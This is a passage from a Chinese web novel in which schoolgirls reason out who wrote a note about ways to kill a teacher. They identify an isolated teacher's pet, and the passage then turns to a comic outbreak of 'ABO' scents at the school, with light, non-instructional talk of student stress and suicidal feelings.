那么到底是谁呢……
“我有一个疑问。”刘征兰举手,“这个人为什么要另拿一张纸条写老师的死法,而不是写在颜阎纸条的背面呢?”
颜阎后知后觉地感到恐怖:“……听起来我离被陷害不远了。”
“你才意识到啊?”刘征兰诧异,“艺术家给你的那一拳打在你头上了?”
康烁影分析:“对方看到有一张自杀相关的纸条在传,觉得好玩。但是纸条还没传到ta手里,于是随便扯了一张纸条开了另一个主题。很合理!”
“那样的话两张纸不会那样传播吧。”刘征兰比划了一个方形,“传到我手里的时候,是颜阎的纸条叠了三次,里面夹着那张纸条。颜阎我了解,肯定是不会细心到把纸叠起来的,如果犯人是单独写的,那这两张纸条分别传播的可能性更大。”
康烁影没懂:“为什么分别传播的可能性更大?”
颜阎开始一下子站起来:“我明白了我明白了,看我表演!”
康烁影伸手:“你请。”
“这么说吧。如果下课后班里有两张表要签字,一个人签着一张,这时候路过的人探头过来:‘在干嘛呢给我看看!’这时签字的人说有两张表要签字,那路过的人大概率不会干坐着等,而是会把另一张空置的表拿过来签个字吧。”
后面的事情都不用她说,大家都明白了。路过的人签完字就会有其他路过的人,大家一看要签字,都赶紧凑上去抢没人占着的表格,完全没有秩序可言。很少有人会细心到把两张表叠起来传给别人。
就算有这样的人,大家也不怎么领情,反而会说ta占着茅坑不拉屎。毕竟管理不是他们的事。
四班出过类似的事,两张表传来传去传得乱七八糟,最后谁也不记得自己哪张表上签了字哪张又没签。孔丘大发雷霆,从此以后签字她都必须在场,看着所有人挨个写完再向后传。
颜阎总结:“没有管理的情况下,纸条的传递类似熵增,会更趋近于混乱而不是有序。两张纸条在一起传播确实有一点奇怪。”
康烁影提问:“不能是传播途中有人叠在一起的吗?”
刘征兰摊手:“那样的话就更奇怪了。你想啊,如果是主课还好说,为了隐蔽嘛。但是管理松散的心理课怎么会有人特意叠起来?”
颜阎和刘征兰一唱一和:“这张纸条最远只需要在桌子和桌子之间传递,而且不是特意传给某个人,而是所有人都参与的小游戏。它的主要目的就是为了方便书写。你上课在草稿纸上跟同桌说话会特意叠起来吗?不会吧。叠的时间都够传一个来回了。就算是团起来,也比叠起来要方便呀。”
“那叠起来是为什么?”康烁影不理解了。
“说明第一个写《杀死老师的一百种方法》的人,就把它和我的《自杀大全》叠起来了。它们是一块儿写的。”颜阎撕下自己的草稿纸叠了几下,然后塞进康烁影手里,“中途有人叠很奇怪,但如果一开始就叠着就不奇怪了,大家顺手就会按照折痕叠起来的。”
刘征兰晃着笔杆:“而且,写这个纸条的人大概率坐在两张桌子的连接处。因为递给旁边的人,就跟递给同桌一样,是不会叠的。”
康烁影恍然大悟:“这样一来,纸条主人必然是先‘看到’颜阎的纸条,才写出了自己的纸条。必须是看到而不是听闻,顺序也找到了!”
但她还是有些困惑,这股困惑从刚才就开始萦绕着她,如今终于落在了她头上。
“可是这么来说,‘结果’就变得很奇怪了!”康烁影找到了她们的漏洞,一按笔指向她们,“如果在传播过程中,纸条大概率会分开,那为什么递给刘征兰的时候还是叠好的?”
“呃……”刘征兰和颜阎对视一眼,“拉普拉斯妖。”
这个解释显然是行不通的。
“好难。”康烁影倒地:“怪不得不是人人都能当侦探……”
“别紧张,一个思维游戏而已。”刘征兰趴在桌子上,“都安乐椅侦探了,就算胡说八道也不会有问题。”
既然中间产生了矛盾,分析中必然有什么被忽略了。但所有人都想不出来到底哪里出了问题。
三个人研究数学大题都没这么认真过。一时间万籁俱寂,只有康烁影咔哒咔哒按笔的声音。
“你别摆弄那个破笔了。”颜阎说。
“为啥?”
“因为那是我的笔。”刘征兰冷冷道。
康烁影双手奉上:“你怎么不早说?”
“我说啥?我都是你……”刘征兰一顿,意识到社交挂件这个词康烁影听不懂,于是改口,“朋友,朋友。”
康烁影感动到用肩膀拱刘征兰。
被拱倒的刘征兰爬起来:“所以我们现在的话题从纸条为什么在一起,变成了纸条为什么没有分开。”
康烁影首先举手:“从另一桌递到你们这一桌的人是强迫症,看到有两张纸条,就把它们收集到一起再给你。”
颜阎说,“我们班和你们班的心理课隔了整整一天,中途这么多班,这么多人,两张纸条很可能分散到了不同的桌子上。。”
“那这样。”康烁影不信邪,“恰好传到了同一张桌子上,又恰好碰到了个特别细心的强迫症。心理教室是好几个人挤大圆桌嘛,桌子总共也就六张。”
“六张也很多啦。而且心理教室面积小桌子大,所张桌子都和其他桌子离得很近,可以传纸条的人可太多了。”
两张纸条恰好传到一个桌子,和传纸条的人恰好是个超级细心的强迫症,这两个小概率事件撞到了一切,变成了超小概率事件。信息量过少的情况下,非常规的思路不予考虑,排除。
“也许我们之前的分析没错呢?”刘征兰说,“刚才那个熵增的比喻,我觉得很合适。熵增就会变得混乱,可是熵的上升没有达到一定程度时,秩序还是比较分明的。类似的就是扔骰子,六面骰和十面骰相比,肯定是六面骰更容易扔到1。”
“So?”颜阎示意她继续。
“纸条的传播时间不长。”刘征兰点着草稿纸,“可能刚传播了一两节课,传播过程还没混乱到会把它分到其他桌的程度。这就是为什么出现了‘纸条在传播过程中没有分开’这个奇怪现象。”
“哦!”
可这依然无法解释,为什么那个ta不在颜阎的纸条背后写老师的死法,而是特意另找了一张纸。
打破僵局的又是刘征兰。
“以下纯属臆测哈。”刘征兰发布免责声明,“我觉得,写纸条的人是个女生。”
颜阎一把按住她:“等一下,跨度有点大了。你把步骤写一写,不然没分。”
刘征兰扬起下巴:“按道理来说,拿另一张纸画画更麻烦,但她还是拿了。而她又是在看到你的字迹后才写了纸条。说明她也觉得这件事有点缺德,让大家以为是你做的有点不好,所以换了一张纸。考虑到她会折纸传播,非常细心,所以有意识地避开你才是合理的。
男生才没有这种意识,他们巴不得大家都把你当烂人。这么有底线、这么会为人着想,重点是,这么会为颜阎着想……”
“那大概是女生了。”康烁影断言,“没什么男生会维护颜阎的形象的。”
“但有一个问题。”颜阎道,“她怎么知道《自杀大全》是我写的?”
“这个。”刘征兰慈爱一笑,“你的字丑得很有特色,大家都认得。”
康烁影忽然撂下笔:“不对!”找出了刘征兰的漏洞让她特别兴奋,“虽说颜阎的字丑得的确很有特色……”
颜阎:“不是,你们搁这儿推理呢还是攻击我呢?”
康烁影没理她:“但是没见过她笔迹的人,就算再有特色也认不出来吧!”
刘征兰试图驳论:“不一定哦。如果她听说过四班有个字体丑丑的,喜欢谈论自杀和虚无主义的女生,她应该也能认出来吧。”
“这就是玛丽的房间了。”颜阎举起食指,“如果有一个名叫玛丽的神经科学家,通晓关于彩色视觉相关的生理和物理的全部知识,知道不同波长的光如何刺激视网膜上的视锥细胞,甚至知道电信号传播到脑部的全过程和引起的所有神经活动。
她从小生活在一个只有黑白灰的房间里,从没见过其他颜色。但却了解一切有关颜色的知识。有一天,她突然来到了外面的世界,见到了新的颜色。那么,她有没有学到新的东西呢?显然是有的呀。这就是经验和体验的区别,明白了不代表理解了。就像我们无法用语言描述音乐带给人的感动一样。”
“你能不能说重点?”另外两人道。
颜阎一句话概括:“我用理论证明了刘女士的错误,康烁影胜。”
康烁影翻了个白眼,把话题强行扭回来:“那就是一个见过颜阎笔迹的女生?是四班人?”
刘征兰提醒:“别的班也可能见过。颜阎的作文传阅率一直挺高的。”
颜阎一惊:“我怎么不知道?我作文不是每次分都不高吗?”
“那是因为你不按规范写。但你的驳论功底是挺扎实的,杂学知识也够多。不然刚才也不会随口就叭叭叭一通。”刘征兰拍拍她,“我们老师都当知识积累给我们看,然后说一句你们别学这个格式。”
“我也不知道。”康烁影后仰,“啥时候的事儿?我们是谁啊?我怎么没看过颜阎的作文?”
“啊!”刘征兰似有所觉,“因为颜阎的作文都怪里怪气,很容易误导一般学生,所以每个班的老师都只给成绩特别好的几个看!”
颜阎拉过康烁影:“你觉得她是不是在炫耀?”
“我觉得是。”
“我觉得
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也是。”
刘征兰威胁:“差不多得了啊。”
那么范围又缩小了一点。变成了成绩不错的外班女生和四班的全体女生。
接下来就卡住了。
颜阎左脚盘起右脚立着,右臂支着下巴,放荡不羁地坐在那儿。她总感觉有什么被忽略了,疑问像抓不住的风一样在她脑子里盘旋。
刘征兰向后仰身,双手在背后撑着身体:“还是找不出来。”
这次换康烁影安慰她:“没事没事,又不是比赛。”
“不对……”颜阎抱着头,“我觉得还是有哪里不对。你们等我想一想。我们把这个嫌疑人的所有信息都列出来。”
三个人七手八脚总结出几条信息。
嫌疑人侧写:
1、性别女。成绩好,或者是四班人。
2、讨厌老师(康烁影批注:废话!)
3、写纸条的时间在看到颜阎的纸条之后。
4、细心,会把纸叠起来。
5、坐在两张桌子的交界处。
6、上课时间离二班很近。
“等一下等一下!”颜阎高举双手吸引所有人注意力。
她指着第五条:“这个是为什么?”
“你傻了?”康烁影摸她额头,“挺正常的啊。”
刘征兰好心提醒她:“这是上个阶段的事了。我们分析为什么为什么纸条叠起来时推出来的。写纸条的人很可能也是往另一个桌子上传纸条的人,所以坐在交界处。”
“不是不是!”颜阎大叫,“动机,动机啊!你们想一想!她为什么不传给同桌,而是传到另一张桌子去?”
“呃……她是超级超级强迫症,在自己这张桌子写完之后特意把两张纸收集起来叠好,传到另一张桌子?”
这显然是康烁影的胡说八道。看起来她今天非要给犯人定个强迫症才罢休。
颜阎恨铁不成钢:“这说明她在这张桌子上没朋友啊!没有人会跟她玩,所以才传去别的桌子!”
这种没朋友体验,康烁影和刘征兰都没考虑到。也确实是颜阎才能想到的角度。
“而且还不是一般的不好。”刘征兰道,“就算是关系一般也是可以互相传纸条的,应该是话都没说过的不好。”
“和一整张桌子都没说过话?不能吧?心理课不是随便坐吗?”
康烁影沉吟片刻,道:“我有个想法。”
“你说。”
“她是不是跟男生一桌啊?”
颜阎噎住了。
刘征兰看笑了:“你这是什么表情?”
“很有可能。”颜阎特别痛苦,“就是,你懂的。因为在班上没什么朋友,其他女生都找到了自己的朋友坐。等你来的时候座位已经满了,只能单独一个人坐或者去跟男生坐之类的。”
……虽然刘征兰懂,但她不是很想懂。不然你以为她干嘛要当康烁影的社交挂件,不正是为了逃避在大城市重点高中那种没朋友的生活!
于是嫌疑人侧写又增加了第七条:存在感不高或者人缘不好,跟男生坐。
嫌疑人侧写都到这个地步了,还是不能锁定范围,重合度太高了。最有用的信息是“人缘不好”,但人缘都不好了,谁会轻易想到她啊!
颜阎想得有点头疼了:“不是,她都知道编造老师的死法有点缺德了,为啥还要做啊!我现在不仅有被污蔑的嫌疑,还有被累死的嫌疑!”
刘征兰:“那你就不要想。”
“我好奇!”
康烁影躺在地毯上气息奄奄:“她如果成绩好到老师会单独给她看颜阎的作文,又为什么会编造老师死法?好学生也会讨厌老师?”
“当然啦。”刘征兰现身说法,“好学生也是人啊。”
“那好学生会人缘不好吗?”康烁影问,“在咱们这种成绩至上的乡镇学校里,成绩算是硬通货。就算脾气再差也会有人巴结。就像你再讨厌领导也得巴结领导一样。总不至于被单独落在男生堆里吧?”
“我不巴结领导。”刘征兰澄清。
“我也不巴结。”颜阎附议。
“总有人巴结。”康烁影越说越兴奋,“权力是个好东西,成绩也是。”
“成绩不能造福别人。”颜阎反驳,但她刚说完就意识到哪里不对,“啊……副产物?”
康烁影点头:“对,成绩的副产物可以。订正本,习题,补习班,网课。我怀疑这些嫌疑人一个都没有。不然肯定有人在她身边想和她玩。”
刘征兰仰起头,眼睛向上方的一片空虚望去。渐渐地,她的视线挪动,落在康烁影脸上,又落在颜阎脸上,一句话都没说。但是嘴角抿出一个滑稽的弧度,似乎想笑又不确定。
她说:“你们说,有没有一种可能,这个人不是成绩好,也不是恨老师。相反,她成绩一般,看起来和老师关系很好呢?”
“成绩不好老师为什么喜欢她?靠拍马屁?”康烁影莫名其妙:“你不会是想说宋悦馨吧?”
“不会啦。她有自己的小团体,人缘还是有的。”刘征兰摆手。
“和老师好干嘛要写老师的死法?”颜阎挠头,“爱之深恨之切?”
“如果我说,就是老师导致了她人缘不好呢?”
康烁影明白了:“啊!”
“啊什么?啊什么?”颜阎探头,“谁?怎么了?为什么?”
刘征兰转向颜阎,把自己的破笔递给她:“现在你是老师,我们是学生。如果有一个学生,成绩一般,但是特别乖,特别听话,特别努力,你喜不喜欢?”
颜阎举起破笔装教棍:“提为课代表!”
刘征兰把笔抢回来指着她:“那如果你是学生。老师天天上课夸另一个学生听话,努力,比其他人都强。给她各种优待。冬天去办公室接温水,夏天去办公室吹空调,跑操还能借着批作业不下楼,你怎么想?”
颜阎振臂:“我不怎么想!”
“可别人会想。他们会说——”刘征兰嗓子一捏,“‘呀!特权阶级!呀!走狗!’”
“哦,所以她人缘不好。”颜阎说完,猛地反应过来。
这个强调,这个语气,刘征兰模仿的显然是奥巴拿拿。
那《杀死老师的一百种方法》不会是……
“对。”刘征兰说,“女生,深得数学老师青睐,常年负责批作业所以能看到你的笔迹,更别提整篇作文了。细心,人缘不好,坐交界处,上课时间和二班离得很近,不如说她就是二班人。”
符合所有条件的只有一个。
卫絮。
49.诅咒书信
下午,卫絮果然被带走了。
数学老师一开始就认出了卫絮的笔记,但她想等卫絮主动承认错误。半天过去,卫絮无动于衷,教导主任只好把她提过来。
女儿都结婚了的数学老师捏着纸巾,不顾形象地在办公室门口嚎啕大哭。
周天子用肩膀撑着她,眼睛瞪向卫絮,让她道歉。卫絮不说话,低头看着自己的脚尖。
“白眼狼!白眼狼!”数学老师大哭着锤周天子的肩膀,“我就不该对你这么好!我到处夸你,让你当课代表,你进步了我比你妈都高兴!我对你说过一句重话没有?!”
卫絮还是什么也没说。
办公室门口叠满看热闹的小毛毛头,教导主任挥舞着三角尺赶人。但学生的好奇心抽刀断水水更流,他赶走一边,另一边就凑上来。
最后他也绝望了,干脆把门一关,企图将所有目光拦在外面。可拦不住课代表和班干部们打配合,作业的收齐率前所未有地高,办公室的门开开关关,门口的人层层叠叠。
康烁影撑在颜阎肩上,边伸脖子往里看边感慨:“卫女士真是不鸣则已,一鸣惊人。”
她们中午把银芯梅从烧烤店拽出来,让伊把寰宇匣拿出来,给她们算一算推理的真实性。最后算出来的正确率还算高,但是还有许多漏洞。
“因为世界是一个混沌系统,所以有很多不确定性。”银芯梅说,“万一有个人就是脑子一抽把纸条叠上了呢?万一有人就是闲得慌,专门等着两张纸条传到一起才舍得扔给下一个桌子呢。”
“那没办法。”刘征兰说,“我们是安乐椅侦探,我们只能在逻辑里推理,没有逻辑的选项自动被我们跳过了。我们只是歪打正着。”
为了证实推理的正确性,三个人整个下午的课都上得不太安宁,直到卫絮被传唤,推理才被证实。
“这么看卫絮好惨哦。”颜阎扒着门框,卡吧卡吧吃郁霖雨送的葱油饼干。
康烁影揪她马尾:“数学老师比较惨吧。”
“不要拽头发!”颜阎左右甩头抖开她的手:“写老师的死法是有点……呃……吓人。但是我们也写自己的死法。我们平等地希望所有人死。”
高压的生活里,“死”的幻想成为了精神解脱的代名词。大家对“死”熟练运用,它的出现率甚至超过“吃”,仅次于“睡”。
死成为了一个很轻易的词,它像是一个小小的玩笑。她在学生们心里的重量,远比老师想象的轻盈。
“比如你也经常对我说去死。”颜阎指康烁影。
“……话是这么说,但被人背后诅咒去死,还是有点恐怖。”
刘征兰站颜阎:“你什么都没做错,但老师太喜欢你了,到处夸你,到处给你优待,搞得所有人都不喜欢你,你连朋友都没有了,这不也很恐怖吗?”
“她可以拒绝呀。”康烁影说。
“这就是权力的不对等哦。”颜阎在最下面给两个人递饼干块,“对权力小的那方来说,对权力大的人提出质疑,是很困难的。不仅容易把自己处于一个不知好歹的位置,也可能没有效果。更别提对方带来的压力是好意转化来的。”
康烁影评价道:“有点像狡辩。”
颜阎说:“主要是她指名道姓骂人被发现了。你敢说自己没有背后骂过老师?俗话说得好,你骂学校我叫好,你骂校长我逃跑。要是不骂具体的人,她说不定还可以逃过一劫。”
嗯……有点复杂,这种太幽微的人际关系对高中生本就不太正常的心理状况很不好,大家自动过滤了。
过不了几天,所有人都会把这件事情遗忘。
刘征兰暂代卫絮的数学课代表之职,跑前跑后拿作业,上课前还要问老师这节课干嘛。这种苦差事她干了半天就不想干了。
数学老师断断续续哭了好几节课,哽咽得喘不过气,直咽速效救心丸。刘征兰站在那儿等她发布下一节课的命令,等了一个课间,数学老师都没能说出一个字。
看不下去的语文老师坐着转椅滑过来:“给老师拿张纸啊!”
“哦哦哦。”刘征兰把桌子上的纸巾盒递给她。
语文老师的眼神变得怜爱了:“算了,你帮老师倒个垃圾吧,桌子也顺便擦一下。”
刘征兰从课代表惨变奴隶,倒了塞满纸团的垃圾桶,又跑去厕所洗抹布。
在厕所的水池前,她和卫絮撞见了。
卫絮撑着洗手台,肩膀仿佛山峰耸起。脸悬在洗手台上,任由眼泪雨点般滴落。
听到有人进来,她赶忙用胳膊擦脸。发现是刘征兰后,勉强笑了笑:“当上我替身了?”
刘征兰痛心疾首:“你真辛苦。”
卫絮笑着:“我在做的都是批作业的活,洗抹布很少的。”
“那我还是不如旧人。”刘征兰叹息。
卫絮低眉。防晒乳在她脸上凝了一层薄薄的白霜,泪痕淌过霜地,仿佛凌乱的车辙,象征着一场心灵的败走。
“有点不知好歹,是不是?”
刘征兰摇头:“没有。”
卫絮靠在水池上,手臂支着自己的身体:“数学老师也很喜欢你吧?”
“那是因为我成绩不错。”
“那也是喜欢,是不是?”
“……那只算是喜欢成绩,不是喜欢我。换个成绩好的扳手来她也喜欢。”
“那我呢?”卫絮微笑着,“你觉得她对我是什么样的喜欢?”
“是对扳手的喜欢?还是对‘我’的喜欢?”
刘征兰毫不犹豫地说:“是对扳手的喜欢。”
卫絮无意识地搓着手指:“喜欢扳手还好呢。扳手可不会写小纸条骂她。”
“没事,我理解。”刘征兰去她旁边的水龙头下面洗抹布,“诅咒老
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师是有点过分。但是每个人都有一点点黑暗的想法。谁没有背后骂过老师啊!”
卫絮把她手里的抹布拿过来,和她一人拽着一个角拧干:“高一你还没转过来的时候,我跟她说了,不要拿同学和我比较,不要只让我一个人去办公室,大家会有点介意。然后她上课前把全班骂了一遍,说他们小心眼。”
“那你尝试过了嘛!”刘征兰说,“很不错了。”
卫絮苦笑起来:“我知道她不是个坏人,我做的不对,她不是活该挨骂的……”
刘征兰静静等待她的下一句话。
“可我就是坏人吗?我就活该吗……”
刘征兰非常想帮卫絮,她太共情了。想找出一些让数学老师忘掉小纸条的方法。律易棋说没有这种东西。
“意识比你想象的要神秘。它不是物质,就算是我们的文明,也无法真正理解它,更别提准确地捕捉一段电信号(记忆)再把它消除。”
“……你们的科技连《黑衣人》都比不过吗?”
“你们就没想过他们的记忆消除棒是怎么通过简单的挥舞,删除掉他们想要删除的特定记忆的吗?”
……好吧。
这个事件的最大受害者其实是颜阎。怒气上头的老师把颜阎的《自杀大全》拍给了她妈妈,妈妈搂着她流了一阵眼泪,问她是不是真的想自杀。
颜阎实诚地说:“呃……差不多吧。主要是想结束痛苦。自杀和退学的效果是一样的。”
妈妈把她抱在怀里:“再坚持一下好不好?马上就毕业了。”
这说了等于没说。
颜阎嘴上说好,实则听了这话就应激。为了舒缓身心,她晚上让刘征兰把呼叫中心打开,她搬着刘征兰的平板看推理日剧,边看边抄英语。
康烁影没来,她喜欢的小偶像出了新MV,她去控评了。
颜阎写了一半被电视剧gay到难受,按了暂停缓一会,真心实意地觉得还是《妙女神探》的解说有意思。这时她忽然想起什么:“哦对了,别人帮了我忙,我送什么回礼好?”
刘征兰头也不抬:“你帮回去。”
“……你也知道我的懒惰。”
“谁帮了你什么忙?”
“周真真。轮到我去老师办公室倒垃圾,结果我忘了。她给我倒了。”
刘征兰隐约记得这个人:“哦,那个豆豆眼的小姑娘。我一直觉得你俩能玩到一起。你俩名字都是abb格式。”
颜阎抗议:“我的名字是Il格式!一个大写I,一个小写l。它俩看起来一样读起来不同,我是读起来一样看起来不同。你懂吧?”
“不想懂。”刘征兰把自己的平板抱回来,强迫颜阎看物理网课好好学习,“你请她喝瓶可乐好了,还了人情还接地气。”
一转头,颜阎已经因为物理老师的声音,悄无声息地倒头睡着了。
50.闻香识人
“她不要咱们了。”康烁影断言。
“不是?谁?我?”颜阎指着自己,“我咋了?”
“她天天跟隔壁班的abb玩。放学都不跟咱们一起走了。好不容易有个周六,一起来呼叫中心写作业,她捧着手机给她发消息!”康烁影靠着刘征兰的肩膀泫然欲泣,“她在外面给别人当狗啦!!!”
颜阎和刘征兰对视一眼,两边都很迷茫。
刘征兰说:“你什么时候放学和我们一起走过?不都是你和柳令全、张晓怡一起走,我和颜阎一起走吗?”
康烁影扭扭捏捏对手指:“那不一样啦。上学时和人家玩,放学就不和人家走,多不好。”
刘征兰转向颜阎:“她在外面有别的狗了。”
颜阎挠头:“不是,怎么就把我当狗了?有没有人给我发声?”
“不过你最近确实没跟我走。”刘征兰说,“你和她关系这么好?要带她进呼叫中心吗?”
“远着呢。”颜阎挥手,“我和她快要掰了!”
康烁影绕着桌子拱了一圈,拱到她旁边:“干什么?有人帮你接水帮你倒垃圾给你零食看你小说,你还不满足?”
“就是因为这些!”颜阎抱头,“太恐怖了!她干嘛帮我干这些啊!我是懒又不是不会干!她干了我又没法报答她,总不能天天请她喝可乐吧!最后只能付出一些情绪劳动哄她开心。和她一起放学啊,讲故事逗她啊,聊天快速回复啊这种。”
康烁影酸里酸气,用脑袋顶她小腿:“这不是能快速回复吗?平时晾我们几个小时算什么?”
刘征兰也顺势躺下,捏起手指装作抹眼泪:“如除我~在你心上~还多出一个人~”
“……你们再这样我就哭了哦。”
颜阎的确对周真真产生了一丝恐惧。但她说出去别人都觉得在炫耀,只有妈妈和刘征兰康烁影能稍微理解。
有一个人承包了你的所有体力劳动,而你需要给出的报酬只是一点零食饮料和情绪劳动。
太恐怖了!感觉在压迫别人!
更何况颜阎在观察方面很迟钝,往往是周真真帮她干完了三件事,她才意识到第一件。这让她更加觉得对不起周真真了。
她决心在周日阻止对方。然而周真真只是露出了田螺姑娘一样的笑容:“我愿意呀。”
“不是你愿不愿意的问题啊!”颜阎当时拎着书包,气喘吁吁靠在门口,对窗明几净的教室瞠目结舌,“我忘了值日又不是逃了值日,把我叫回来就好了!你看我这不是意识到自己今天值日就跑回来了吗。你为什么要帮我干活啊!”
周真真轻轻放下拖把——天地良心,颜阎甚至只是扫地的,压根不用拖地:“你不是说今天想到一个好玩的点子吗?女矿工挖黄金的那个,我希望你有更多时间写东西。我很爱看你的小说。”
不对,不对不对不对,完全不对!她被文学迷惑了!
颜阎将书包扔在讲台上,从周真真的肩膀上抢过矿泉水桶:“文学是一种修辞的游戏。我会写点东西,不代表我就是个多么好的人……”
她突然一个激灵:“不对!就算我是个好的不得了的人,也不能随便使唤别人……你别拽水桶了,我搬就行!”
周真真没有及时放手,水桶向她那里倾斜。颜阎立起肩膀去挡,结果水桶撞了一下她的侧脸,从她身前滑了下去。
周真真本能地想接住,颜阎赶紧伸手把她拉回来。
慌乱中她扯住了周真真校服外套的拉链链齿,外套从她肩膀上滑下来,成了露出右胳膊的藏袍。
一起滑下来的还有她口袋里的一个瓶子。
拇指大小的玻璃瓶,上面用系了黄丝带的木塞子封住。瓶子本身没有问题,但木塞子从瓶口弹出来,里面的浅蓝色液体洒了一地。
颜阎大惊失色:“对不起!!!对不起对不起,香水很贵吧我赔你一瓶!”
“没事,没事,不贵。”周真真慌忙盖上盖子,把剩下的那点液体封好,“真没事,不是香水。”
颜阎确实没有闻到香味。但周真真不说这是什么,她更害怕了。
不会是更贵的东西吧……
颜阎迅速换了水桶,帮周真真提着包,一路将她送出校门。回家后犹豫了半天,怎么都说不出借个一千块钱赔人家这句话。
算了。从自己压岁钱里掏吧。
她忍痛拿出十张百元大钞,打算第二天一早还给周真真。
绊住她的是睡眠不足。她一到学校就开始狂睡,睡到昏天黑地不知四时,全然把还钱的事情抛到脑后。
这次她又被商博良推醒了。
好熟悉的场景,下面不会出现一个芭比粉的康烁影吧?
颜阎走出教室,没看到芭比粉,但教室外的场景堪称地狱,丝毫不比芭比粉逊色。
全走廊的人都高昂头颅,伸长脖子,整张脸以鼻子为中心发力,拼命呼吸空气。
“咋了?”颜阎拦住路过的小喇叭,“一夜之间,大象相关的ip又火了?”
小喇叭慈爱地抚摸她的肩膀:“孩子,你不仅眼神不好,连嗅觉都退化了。”
“到底怎么了?”
“你闻不到吗?”小喇叭张开双臂,背后一群人排着队伸鼻子,左右嗅闻,“春天到了,又到了那什么的季节!”
“……到底是哪什么?”
“你真闻不到?”她上来掰着颜阎的脸看,“这么大的香味。”
一阵旋风从二班后门席卷而来。刘征兰脚下生风,刮倒三四个陶醉的同学,一个急刹停在颜阎面前。听说她也闻不到香味,差一点喜极而泣。
“我就知道你也是beta!”
颜阎战术后仰:“……你说什么?”
刘征兰露出了苦涩的笑容:“一夜之间abo占领世界了!大部分人都多少能闻到一点别人身上的香味!但我什么也闻不到!”
“我能闻到你们。”小喇叭高深莫测地把她们的脑袋按到一起,低声说,“刘征兰别干嚼咖啡粉了味道太大了再吃小心猝死。”
然后她一溜烟跑了。
刘征兰在她身后喊:“非要犯这个贱!”
abo现象一开始是由恋爱脑发现的。她和她对象发现彼此特别好闻。她兴冲冲地把这件事告诉不怎么想知道的张燕之,忽然发觉,张燕之身上也有一股好闻的油墨味。
此事一发不可收拾,大家逐渐在自己和他人的身上找到了各种气味。果味,药味,花香味,淡淡的烟草味——呕,这个好难闻。
情侣和异性之间,这种气味格外明显。不过有些人很具研究精神,翻箱倒柜找出高三的一个女同性恋和高二的男同性恋做对比组,这两人都觉得同性身上的味道更好闻。
而颜阎和刘征兰逃过了这场闹剧,因为,
“我们是无浪漫倾向无性恋!”两人击掌。
路过的宋悦馨很诧异地看了两人一眼:“你们没有那个功能?”
“呃不,无浪漫倾向无性恋对性和婚姻的态度是多种多样的。”颜阎说。
“但我俩是对爱情和性都非常嫌弃的那种。”刘征兰说,“生理性厌恶,碰到就会死。”
“没那个功能,也不想安装插件。”
宋悦馨拎起一边嘴角,很嘲讽地笑了:“我看你俩是单纯不够智能。”然后就离开了。
两个人在她身后龇牙咧嘴地挥拳。
康烁影会是什么味道呢?两个人都很好奇。绕过躁动的人群,她们闯进二班,找到了被团团围住的康烁影。
她端坐在座位上,如同女王般,向每一个前来的女生伸出手。女生轻轻嗅闻她的指尖,然后在陶醉和艳羡里离去。
“什么宗教仪式!”颜阎不理解。
离去的甘忘营退回来:“大家配合她一下,事成她给我们巧克力吃。而且她也确实比较好闻”
看到朋友的到来,康烁影做作地起身,圣洁而温柔地抬起右手。好久不见的打光和氛围滤镜又回来了,她周围自动形成了一个几不可见的光圈,使她仿佛一颗天山雪境里的松柏。
“你们来了。”
刘征兰跟颜阎耳语:“她又犯病了。”
颜阎点头:“看出来了。”
她们仿佛看见了感动落泪的银芯梅在烧烤店振臂高呼:“终于有素材了!”
康烁影旁若无人地走近她们:“你们知道我的气息是什么吗?”
“妈呀。”刘征兰重复,“‘气息’。”
康烁影将右手抬到自己唇上,深吸一口气:“前调,是柠檬与黑加仑。后调,是香根草与琥珀。”
她戏剧性地停顿一下,眼睛做梦般迷蒙地望向她们。
颜阎配合她:“那中调呢?”
康烁影闭上完美的双眼:“中调,是北国雪原上,那淡淡的,雪松味。”
刘征兰用手挡住半张脸,假装和颜阎说悄悄话:“我记得气味一般来自于顶泌汗腺吧。”
颜阎压低声音:“你说的对。”
“它集中在哪里来着?”
“腋下和耻骨。”
“下/体的气味传不到鼻腔吧。”
“应该是。”<
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p>“也就是说这股味道是腋下传来的?”
“对啊对啊。”
她们每说一句话,康烁影的脸色就更红一点。说到腋下时,康烁影已经完全撑不住清冷的气质,上去一人给了一拳。
“所以,abo的真相不是后颈腺体,而是腋下腺体吗?”康烁影惆怅,“不要啊!不要啊!我以后还怎么看abo小说啊!”
颜阎模仿她:“你们知道,我的气息——”她拉长语调给了个重音,“是什么吗?”
“淡淡的。”刘征兰深呼吸,“雪松味。”
“啊啊啊啊啊!”康烁影疯狂拍打她们,“你们闭嘴!!!”
既然是abo世界观,肯定会有一些这样那样的发情期设定。康烁影很努力地把注意力集中在腋下,企图用omega甜美的气息吸引她远在异国的小爱豆。实在不行,来两个素人帅哥也行啊!
结果可想而知地失败了。
“我就知道世界上没有这种好事。”她愤愤道。
“这次又是怎么搞的?”刘征兰用指环王垫脑袋,整个人趴在桌上,“外星人一天到晚搞这些事,就不能干脆一点,直接毁灭地球吗?”
康烁影抗议:“等我看完音乐节再毁灭!”
“……要是你看完就能毁灭,我们陪你去都行。”
颜阎没有座位,拨开刘征兰桌子上的书,一屁股坐上去:“我发现你们对外星人充满了不信任,这就不能是单纯的香水吗?”
“什么香水留香这么久?真有这种香水,专柜早就卖飞了!”每次去商场都要到香水专柜闻几下解馋的康烁影都准备好买它的资金了。
“哦,说到香水我想起来了。”颜阎从桌子上跳下来,“我不跟你们玩了,我去找周真真。”
康烁影大惊:“讨论外星人的时候你都不听了?”她搀住刘征兰,泫然欲泣,“我就说她给别人当狗了!”
“……等我回来就把你音乐节门票扔了。”
一股烂肉和油脂混合的味道在普通班弥漫,所有人都捏着鼻子进进出出,想都不用想就知道是体育生肉和蛋白粉吃多了。
颜阎抱着胳膊立在外面,满脸得意。毫不掩饰自己毒气免疫的优势。
周真真个子比较矮,坐在第一排,很容易看见门口。靠着半墙的颜阎一下子被她收入眼底。
颜阎和她对上视线,立刻对她笑着招手,让她快快出来。
周真真跟着颜阎穿过回廊,蹲在人迹罕至的行政楼里,眼看着颜阎拿出一千块钱往她手里塞。她一下子蹦起来,原地跳出半米高。
“你干什么!”
“还你钱。”颜阎让手里的钱忽闪忽闪。
“没有这么贵!”
颜阎笑滋滋地站起来:“那你告诉我具体多少钱,不然我就偷偷把这些全塞到你书包里。你知道我能干出来这种事。”
完全的流氓做派!
周真真哑口无言,想笑又想生气。最后流出来的只有一声叹息:“好啦……一百一。”
颜阎抽出两百给她:“记得找钱,我也不怎么富,很需要这九十块。”
周真真好奇:“我要是不还你怎么办?”
颜阎邪魅一笑:“那我就去你们班门口躺下大哭大闹。”
